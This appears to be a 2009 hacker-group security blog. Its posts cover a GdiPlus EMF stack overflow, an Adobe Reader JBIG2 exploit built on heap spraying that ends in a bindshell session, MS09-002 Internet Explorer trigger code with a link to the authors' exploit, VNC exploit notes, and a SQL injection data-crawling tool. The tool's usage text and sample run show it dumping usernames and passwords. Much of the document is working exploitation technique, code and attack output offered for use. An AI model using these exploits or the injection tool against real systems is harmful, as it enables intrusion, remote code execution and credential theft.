Monday, March 23, 2009

Microsoft GdiPlus EMF GpFont.SetData Integer Overflow

Microsoft GdiPlus.dll EMF GpFont::SetData Stack Overflow


Write up by redsand@blacksecurity.org
Credits to mIKEJONES for providing the .EMF Crash


An integer overflow has been found within the Microsoft Windows gdiplus.dll [0x4ED67060]

This vulnerability currently allows us to write 64 bytes of either NULL's to the stack or UNICODE characters we control, inadvertently overwriting our stacks return addresses as well as the stack canary. We’ve decided to call this the Microsoft GdiPlus EMF GpFont.SetData integer overflow.

One known vulnerable version of GdiPlus.dll is:
x86_Microsoft.Widnows.GdiPlus_6595b64144ccf1df_1.0.2600.5581_x-ww_dfbc4fc4


Below is our confirmed call stack after the stack overflow:

GdiPlus!GpFont::SetData+0xf6
GdiPlus!MetafilePlayer::AddObject+0x8f
GdiPlus!ObjectEPR::Play+0x1a
GdiPlus!GdipPlayMetafileRecordCallback+0x35
GdiPlus!MetafilePlayer::EnumerateEmfPlusRecords+0x66
GdiPlus!EnumEmfWithDownLevel+0x52
gdi32!bInternalPlayEMF+0x6b0
GdiPlus!MetafilePlayer::EnumerateEmfRecords+0xd7
GdiPlus!GpGraphics::EnumEmfPlusDual+0x27d
GdiPlus!GpMetafile::EnumerateForPlayback+0x686
GdiPlus!GpMetafile::Play+0x26
GdiPlus!GpGraphics::DrawImage+0x263


We decided to pull this up using a fancy version of OllyDbg and begin digging around. With that said, this is what we found:

You will note at address 0x4ECFFA33 MOV ESI,DWORD PTR DS:[EAX+14]
We control the value loaded into ESI. For this purpose we use a value greater than 0xFE000000. This integer can be located at the offset 0xC8 (200 bytes) within the given example.

Next you will see we are able to control the value loaded into ECX. For the ESI value of 0xFFFFFFFF (largest unsigned integer) we load the value of 0x16 into our register (for example: if value is 0xEEEEEEEE, our value becomes 0xDDDDDDF4 and becomes greater than 0x16 and is marked as an invalid image)
4ECFFA36 LEA ECX, DWORD PTR DS:[ESI+ESI+18]

This value is increased by 0x18 (24) bytes:
4ECFFA3A ADD EAX, 18

Then compared with a value offset of EBP, which is located on our stack. For this purpose the value stored in ECX is 0x16:
4ECFFA3D CMP DWORD PTR SS:[EBP+C],ECX

This means the jmp is not taken
4ECFFA40 JB gdiplus.4ECFFAC9

Our controlled value is compared with the hex value 0x20 (32)
4ECFFA46 CMP ESI,20

And this jump will also never be taken.
4ECFFA49 JBE SHORT gdiplus.4ECFFA4E

From here, we begin to setup our stack for the __stdcall calling approach to our function gdiplus.4ED67060

4ECFFA4B PUSH 20
4ECFFA4D POP ESI
4ECFFA4E PUSH ESI
4ECFFA4F PUSH EAX
4ECFFA50 LEA EAX,DWORD PTR SS:[EBP-44]
4ECFFA53 PUSH EAX

This is the function in which the stack overwrite actually occurs.
4ECFFA54 CALL gdiplus.4ED67060


Let’s step into our function gdiplus.4ED67060:

First we have a loop setup to go through our Unicode Font String (ARIAL) and copy it (letter by letter) to another location on the stack controlled by EDI. This approach would be the natural code execution process however after further review, we're able to determine we can utilize the length of the font name (ARIAL) and extend it to 32 total WORD bytes (since this is Unicode, that's 64 bytes total). This will eat up our allocated memory and will halt the need to zero out the rest of the buffer.
Stack corruption occurs either here or below.

4ED67069 XOR ESI,ESI
4ED6706B TEST ECX,ECX
4ED6706D JBE SHORT gdiplus.4ED6709C
4ED6706F MOV EDX,DWORD PTR SS:[EBP+C]
4ED67072 PUSH EDI
4ED67073 MOV EDI,DWORD PTR SS:[EBP+8]
4ED67076 MOV AX,WORD PTR DS:[EDX]
4ED67079 TEST AX,AX
4ED6707C JE SHORT gdiplus.4ED6708A
4ED6707E MOV WORD PTR DS:[EDI],AX
4ED67081 INC EDI
4ED67082 INC EDI
4ED67083 INC EDX
4ED67084 INC EDX
4ED67085 INC ESI
4ED67086 CMP ESI,ECX
4ED67088 JB SHORT gdiplus.4ED67076

Once our string copy has been completed, we check to see if our wide character string length of our font (ARIAL) is less than 0x20 (32) characters

4ED6708A CMP ESI,ECX
4ED6708C JNB SHORT gdiplus.4ED6709B


The length of our string (ESI) is subtracted into 0x20 (32) to get the remainder (0x1B if using just the font name ARIAL) and is left in the register ECX
4ED6708E SUB ECX,ESI

Here we clear our value for eax to make it zero
4ED67090 XOR EAX,EAX

Then we shift the value of our remainder 0x1B (27) right one position which leaves us with 0x0D (13)
4ED67092 SHR ECX,1

This is where our overflow occurs; EDI points to our stack just past the location where we copied our font string on the stack earlier.

4ED67094 REP STOS DWORD PTR ES:[EDI]


This is what our stack looks like at that location when we begin overwriting it with zeros.
0007E344 |7C900000 ..�| ntdll.7C900000
0007E348 |7C9101C0 À‘| ntdll.7C9101C0
0007E34C |FFFFFFFF ÿÿÿÿ
0007E350 |7C9101BB »‘| RETURN to ntdll.7C9101BB from ntdll.7C90E8E6
0007E354 |4EC5221F "ÅN RETURN to gdiplus.4EC5221F from ntdll.RtlAllocateHeap

The rest below does not concern us as there is little we can leverage from this.

4ED67096 ADC ECX,ECX
4ED67098 REP STOS WORD PTR ES:[EDI]
4ED6709B POP EDI
4ED6709C POP ESI
4ED6709D POP EBP
4ED6709E RETN 0C

Our call stack doesn't begin to be corrupted until several functions later when our nulls come up to be pop'd into EIP from a RETN from ESP.

When we return execution back to 0x4ECFFA86, our valid returns on the stack have been used, leaving us with a corrupted stack scenario.

Below is a snapshot of our stack before the overflow occurs:

0007E2B0 |003B0041 A.;.
0007E2B4 |0007E0AC ˆ .
0007E2B8 |00000000 ....
0007E2BC |0007ED40 @í .
0007E2C0 |7C90E900 .é�| ntdll.7C90E900
0007E2C4 |7C9101C0 À‘| ntdll.7C9101C0
0007E2C8 |FFFFFFFF ÿÿÿÿ
0007E2CC |7C9101BB »‘| RETURN to ntdll.7C9101BB from ntdll.7C90E8E6
0007E2D0 |4EC5221F "ÅN RETURN to gdiplus.4EC5221F from ntdll.RtlAllocateHeap
0007E2D4 |003B0000 ..;.
0007E2D8 |40000060 `..@
0007E2DC |0000001C ...
0007E2E0 |0007E2F0 ðâ .
0007E2E4 |4EC9DD15 ÝÉN RETURN to gdiplus.4EC9DD15 from gdiplus.4EC52209
0007E2E8 |0000001C ...
0007E2EC |00000006 ...
0007E2F0 |00009C45 Eœ..
0007E2F4 ]0007E318 ã .
0007E2F8 |4EC9E783 ƒçÉN RETURN to gdiplus.4EC9E783



(Again, but more details):

0007E294 B90105D5 Õ¹
0007E298 00000000 ....
0007E29C 00000000 ....
0007E2A0 00000000 ....
0007E2A4 003B4108 A;.
0007E2A8 018E0F08 Ž
0007E2AC 003B5108 Q;.
0007E2B0 003B0000 ..;.
0007E2B4 0007E0AC ˆ .
0007E2B8 00000000 ....
0007E2BC 0007ED40 @í .
0007E2C0 7C90E900 .é�| ntdll.7C90E900
0007E2C4 7C9101C0 À‘| ntdll.7C9101C0
0007E2C8 FFFFFFFF ÿÿÿÿ
0007E2CC 7C9101BB »‘| RETURN to ntdll.7C9101BB from ntdll.7C90E8E6
0007E2D0 4EC5221F "ÅN RETURN to gdiplus.4EC5221F from ntdll.RtlAllocateHeap
0007E2D4 003B0000 ..;.
0007E2D8 40000060 `..@
0007E2DC 0000001C ...
0007E2E0 0007E2F0 ðâ .
0007E2E4 4EC9DD15 ÝÉN RETURN to gdiplus.4EC9DD15 from gdiplus.4EC52209
0007E2E8 0000001C ...
0007E2EC 00000006 ...
0007E2F0 000091F7 ÷‘..




Below is a snapshot of our stack after the overflow occurs:

ESP+4 > 003B4108 A;.
ESP+8 > 018E0F08 Ž
ESP+C > 003B5108 Q;.
ESP+10 > 001D0B0B .
ESP+14 > 001D0B0B .
ESP+18 > 001D0B0B .
ESP+1C > 001D0B0B .
ESP+20 > 001D0B0B .
ESP+24 > 001D0B0B .
ESP+28 > 001D0B0B .
ESP+2C > 001D0B0B .
ESP+30 > 001D0B0B .
ESP+34 > 001D0B0B .
ESP+38 > 001D0B0B .
ESP+3C > 001D0B0B .
ESP+40 > 001D0B0B .
ESP+44 > 001D0B0B .
ESP+48 > 001D0B0B .
ESP+4C > 001D0B0B .
ESP+50 > 00000000 ....
ESP+54 >/0007E318 ã .
ESP+58 >|4EC9E783 ƒçÉN RETURN to gdiplus.4EC9E783



After our function has completed, an internal gdiplus function looks for stack corruption. At 0x4ECFDA78, GdiPlus sets our unhandled exception filter to zero (clears it) and then calls our unhandled exception filter, then immediately terminates the process. This is the standard process for handling detected stack overflows.

CALL gdiplus.4ECFD994 Cookie Security Check


Thanks,

- redsand


Example .EMF File can be found here

Adobe Acrobat/Reader Universal Exploit : APSB09-01 (aka CVE-2009-0658)

Hey gang,
Been a few days since our last post, but not to worry! Still lots of fun stuff happening in the blacksec community. Our latest post is a brief analysis of the jbig2 vulnerability recently patched by Adobe in APSB09-01 (aka CVE-2009-0658). What I thought was particularly interesting (although not a surprising given vendors actual understanding of the vulnerabilities that typically affect their software) was its classification: "Buffer overflow issue in versions 9.0 and earlier of Adobe Reader and Acrobat". The actual bug stems from a pointer-indexing issue when utilizing a specifically crafted JBIG2 structure.

Bugs like this are fun, because they can often lead to multiple different avenues that inturn can be leveraged for execution. We were able to gain control of execution through the use of some careful heap spraying that would both create 1/2 a sprayed area of pointers that are later loaded and used in a controlled write operation followed by another 1/2 of your typical nopsled/shellcode heapspraying. Combine this spraying with the time used to allocate the memory being used and

you could easily overwrite low-addressed (static) module entry points. Theres a little more too this, so lets dig in...

Lets begin with the orignal crash mentioned in the snort VRT blog posting (http://vrt-sourcefire.blogspot.com/2009/02/have-nice-weekend-pdf-love.html). From the posting:

"the 5th byte into the stream (which is the segment header flag byte) were to have the 6th bit set indicating a large page association size:

00 00 00 01 40 00 00 33 33 33"

Here, we can see the beginning of our long road to exploitation. After modifying the segment header flag of our JBIG2 stream, we are able to embed a controllable (big endian!) pointer beginning at the 2nd byte following the the segment header flag. Using the values described in the original advisory, we can trigger a crash at the first (0387298A - Add operation) location as seen below.

03872979 |. 8B41 1C MOV EAX,DWORD PTR DS:[ECX+1C]
; our (big endian) pointer gets loaded into EAX
0387297C |. 85C0 TEST EAX,EAX
0387297E |. 0F84 AC020000 JE Acroba_1.03872C30
03872984 |. 8B4E 10 MOV ECX,DWORD PTR DS:[ESI+10]
; The base-index register gets loaded into ECX
03872987 |. 8D0480 LEA EAX,DWORD PTR DS:[EAX+EAX*4]
; EAX gets multiplied by 5
0387298A |. 834481 EC 01 ADD DWORD PTR DS:[ECX+EAX*4-14],1
; ECX+ EAX*4 - the value at this location gets incremented.

Here ECX varies in its exact location but, generally lands in the ~02xxxxxx range. If we craft some generic heap spraying code, we can allocate blocks of memory within a specified distance of this pointer. So, after adding the heap spraying code we can see a nice area of memory that gets allocated 0x082xxxxx-0x0fexxxxx bytes (or 0x6200000 to 0xDE00000 bytes away). This area is located after Cooltype and before acaptuse in memory. If we look back at the assembly from the first crash area we can see our pointer gets multiplied by 5 first and then multiplied by 4 again in the following operation (you'll see below this same logic is repeated in the second crash). Applying this logic, if we use a value such as 0x00666666, it will first be multiplied by 5 to give us 0x01FFFFFE and then multiplied by 4 again to finally equal 0x07FFFFF8. This drops us right in the middle of our first large heap sprayed area and allows us to continue on to the second crash location.

03872BC7 |> 8B0CBB /MOV ECX,DWORD PTR DS:[EBX+EDI*4]
03872BCA |. 8B41 1C |MOV EAX,DWORD PTR DS:[ECX+1C]
; our (big endian) pointer gets loaded into EAX
03872BCD |. 8B56 10 |MOV EDX,DWORD PTR DS:[ESI+10]
; EDX points to the same base we used before in ECX
03872BD0 |. 8D0480 |LEA EAX,DWORD PTR DS:[EAX+EAX*4]
; EAX gets multiplied by 5
03872BD3 |. 8D4482 EC |LEA EAX,DWORD PTR DS:[EDX+EAX*4-14]
; the address of where we performed our last ADD at the first crash location gets
; loaded into EAX
03872BD7 |. 8B50 04 |MOV EDX,DWORD PTR DS:[EAX+4]
; HEAPSPRAY_AREA+0x4 gets loaded into EDX
03872BDA |. 85D2 |TEST EDX,EDX
; make sure this isn't 0!
03872BDC |. 74 0A |JE SHORT Acroba_1.03872BE8
03872BDE |. 8B68 10 |MOV EBP,DWORD PTR DS:[EAX+10]
; HEAPSPRAY_AREA+0x10 gets loaded into EBX
03872BE1 |. 890CAA |MOV DWORD PTR DS:[EDX+EBP*4],ECX
; a pointer to our struct gets written to anywhere we want

Here, we crash at the second location with the values EDX and EBX equaling 0x90909090. Basically, we can overwrite any portion of (writable) memory with a pointer to our struct. We accomplish this by making the first 100-300 of our heap spray operations (of typically 1000) with [x][y][x][y][x][y][x][y] style alternating pointers where x is the value we want to overwrite and y is 0 (used in EBX*4). Other values can be used here but you get the general idea.

Lets focus now on whats at the pointer were able to write to anywhere in memory.

This is our stream from our file:

stream.....@.........,...H...........
73 74 72 65 61 6D 0A [00000001] 40 00 00666666 [13000007] 2C 00 00 09

Certain bytes have been separated and put into brackets to help visualize their exact locations when loaded into memory.

When the second crash occurs ECX points to the following memory data:

010B60F0 [01 00 00 00]00 62 01 00 00 00 2F 44 00 00 75 6D ....b.../D..um
010B6100 00 00 00 00 25 32 30 61 6E 64 25 32 F4 FF FF FF ....%20and%2ôÿÿÿ
010B6110 [07 00 00 13]00 00 72 75 62 D0 A2 01 0C 6B BA 00 ....rubТ.kº.


As you can see, we control the 2 (little endian) pointers at [ECX] and [ECX+0x20] and can place whatever values we wish at these locations by manipulating the stream in our malformed pdf. Our Solution was to simply place a "CALL [ECX+0x20]" at the first location where we land at (after overwriting a called pointer) and to stick where ever we want to land at [ECX+0x20] (or right after our index pointer in our jbig2 stream).

So, what to overwrite? We spent a day or two looking for static areas of memory that were to be accessed after the crash that would lead to execution. In the end, we decided to take advantage of the Module Entry point of kernel32 located in the 0x00251xxx range. These locations will vary based on SP/pdf you have created but after a little math can be statically calculated.

00251FD8 7C800000 kernel32.7C800000
00251FDC 7C80B63E kernel32. ; <- what we clobber!
00251FE0 000F6000
00251FE4 00420040 Acrobat.00420040
00251FE8 00251F70 UNICODE "C:\WINDOWS\system32\kernel32.dll"
00251FEC 001A0018
00251FF0 00251F98 UNICODE "kernel32.dll"
00251FF4 80084004

This is called not to long after our heap spraying has completed and our overwrite has succeeded. This leaves only one last step, to toss your fav high mem address into ECX+0x20. We chose to use something simple, 0x13131313 - which lands in the second portion of our heap spraying code. This technique works both on acrobat/reader 9 with the same offsets :D:D:D. One, two, twenty-three, four...adobe bindshell landing at your door.

C:\Documents and Settings\Administrator\Desktop> telnet localhost 5500

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator\Desktop>


Bindshell Exploit

- xort & redsand

Wednesday, February 25, 2009

trojan.Mdropper.AC In the wild

Black Security is currently searching for a copy of 'trojan.Mdropper.AC' in the wild. If you work for an antivirus company or just so happened to have received a copy of this "virus", please e-mail a copy to redsand@redsand.net.

Thanks!

-redsand

Saturday, February 21, 2009

MS09-002 / CVE-2009-0075 Analysis

Alright, so we've been looking at the recent MS09-002 Memory Corruption Advisory released last week.

www.microsoft.com/technet/security/bulletin/MS09-002.mspx

We have provided a quick analysis of the vulnerability:

Initially, we call our global deconstructor to "prep" our memory for corruption. This method is used to clean up our allocated and potentially lost spaces of memory.

CollectGarbage();

Next, we pad the memory by creating a minimum of 256 image elements within an array. I found that anything less than 256 does not give us enough padding to leverage when our exception occurs. Most exploits are using between 512 and 1024 images.

var a1 = new Array();

for (var x = 0; x < 256; x++) {
a1.push(document.createElement("img"));
}


Then, we want to create a table header or table body for interacting with and start the interaction.

o1=document.createElement("thead");
o1.click;
var o2 = o1.cloneNode();
o1.clearAttributes();

Once again we're going to prep our memory for corruption here:

o1=null; CollectGarbage();

The fault is triggered when we free our memory that was allocated by our previously created table head or table body element and then begin overwriting our created element locations, finally calling our table for execution (o2.click). This results in adjacent heap corruption leading to code execution.

for(var x=0;x<a1.length;x++) {
a1[x].src=s1;
}
o2.click;


Our exploit begins with the typical heap spraying method, providing us with a reliable location for installing our stage-1 execution payload.

Our personal exploit has been trimmed up to speed up execution time. The shellcode can be replaced to do whatever you'd like.

blacksecurity.org/cve20090075.html.gz


- redsand

Monday, February 9, 2009

Blinded w/ VNC Viewer vulns.

Well, a few things to report here in the blackbl0gs. Firstly, I've spent the past few days looking into/writing exploits for these recent VNC viewer vulns in the RFB protocol. The first vulnerability affects Real VNC viewer <=4.1.2 (CVE-2008-4770). This vulnerability is triggered when incorrect information is passed to CMsgReader::readRect() which can lead to an integer underflow in allocation space. The remaining data in the packet following the allocation size is then copied into the buffer allocated on the stack leading to an SEH overwrite. The second vulnerability which were currently looking into accurately exploiting is a vulnerability in TightVNC <=1.3.9 (CVE-2009-0388). In this vulnerability malicious data can be passed to a Tvnc subfunction in which a null byte overwrite can be triggered via a integer over/underflow @ HeapPointer + ControllableValue. Lotsa fun other hacks going in the priv8 arena.

ttfn, -xort

Tuesday, February 3, 2009

time to blackout - no doubt!

blacksec: Fun at bars w/ cpu's









Monday, January 26, 2009

MsSQL SQL Injection Data Crawling - Tool Updated

We've recently updated the functionality of the sqlidiscover.pl tool used for enumerating sql databases, tables, columns and data fields. We've included support for adding a custom cookies to your request.

http://blacksecurity.org/tools/42/sqlidiscover___MsSQL_SQL_Injection_Data_Crawler/124.html



sqli_discover_tables v0.2 26Jan2009 kaneda 'n phildo, upgraded by redsand.
usage: sqlidiscover [-G|-P] [-v] [-b] [-phostname:port] [-cCookieName:CookieValue] [-avarname1=value1,...,varname2=value2] [-ivarname] URL

-G - use GET method
-P - use POST method
-a - additional variables i.e. -aaction=create,cid=12
-b - bypass SQL, OS version and current user check
-i - variable to screw with i.e. -itxtPassword
-v - verbose
URL - http://vuln/file.asp
-p - use http/https proxy, format hostname:port i.e. -pmyproxy.com:8080
-c - use browser cookie, format name:value i.e. -cASPSESSIONID:LCACPKILKFN



Here's an actual example:

jinxy ~ # perl sqlidiscover.pl -c ASPSESSIONIDSSSTRCDB:KCMLJILCJGPBJELANCFHCNGL -v -G -iProductID http://www.example.com/catalog/view.asp
sqli_discover_tables v0.2 26Jan2009 kaneda 'n phildo, upgraded by redsand.
[*] HTTP cookie set to ASPSESSIONIDSSSTRCDB=KCMLJILCJGPBJELANCFHCNGL
[*] URL to process: http://www.example.com/catalog/view.asp
[*] Abusing 'ProductID'...

[+] OS version: Windows NT 5.2 (Build 3790: Service Pack 2)
[+] Current user: dbo


unknown_db.test> help
sqliinjection interactive session help

exit / quit - leave sqli
discover databases / discover dbs - discover all databases on system
discover tables - discover all tables on system
discover columns - discover all columns in current table
select db/database [name] - change context to database [name]
select table [name] - change context to table [name]
fetch n,..,x - fetch data from columns n, etc. (i.e. fetch username,password).

------------------------------------------------------------

unknown_db.test> select database demo
Changing context to demo.test

demo.test> select table Users

Changing context to demo.Users

demo.Users> discover columns

[*] Enumerating columns for table Users
[+] Column search: found: (0) AccountNumber
[+] Column search: found: (1) Address
[+] Column search: found: (2) Email
[+] Column search: found: (3) Name
[+] Column search: found: (4) Password
[+] Column search: found: (5) Phone
[+] Column search: found: (6) Username
[+] Column search finished, 6 found


demo.Users> fetch Username, Password, Name
[+] Using columns Username, Password, Name
[*] Retrieving information for table demo.Users
[+] 3 columns selected for data retrieval
| Username | Password | Name
| admin | demo | Demo
| superadmin | master | Master Admin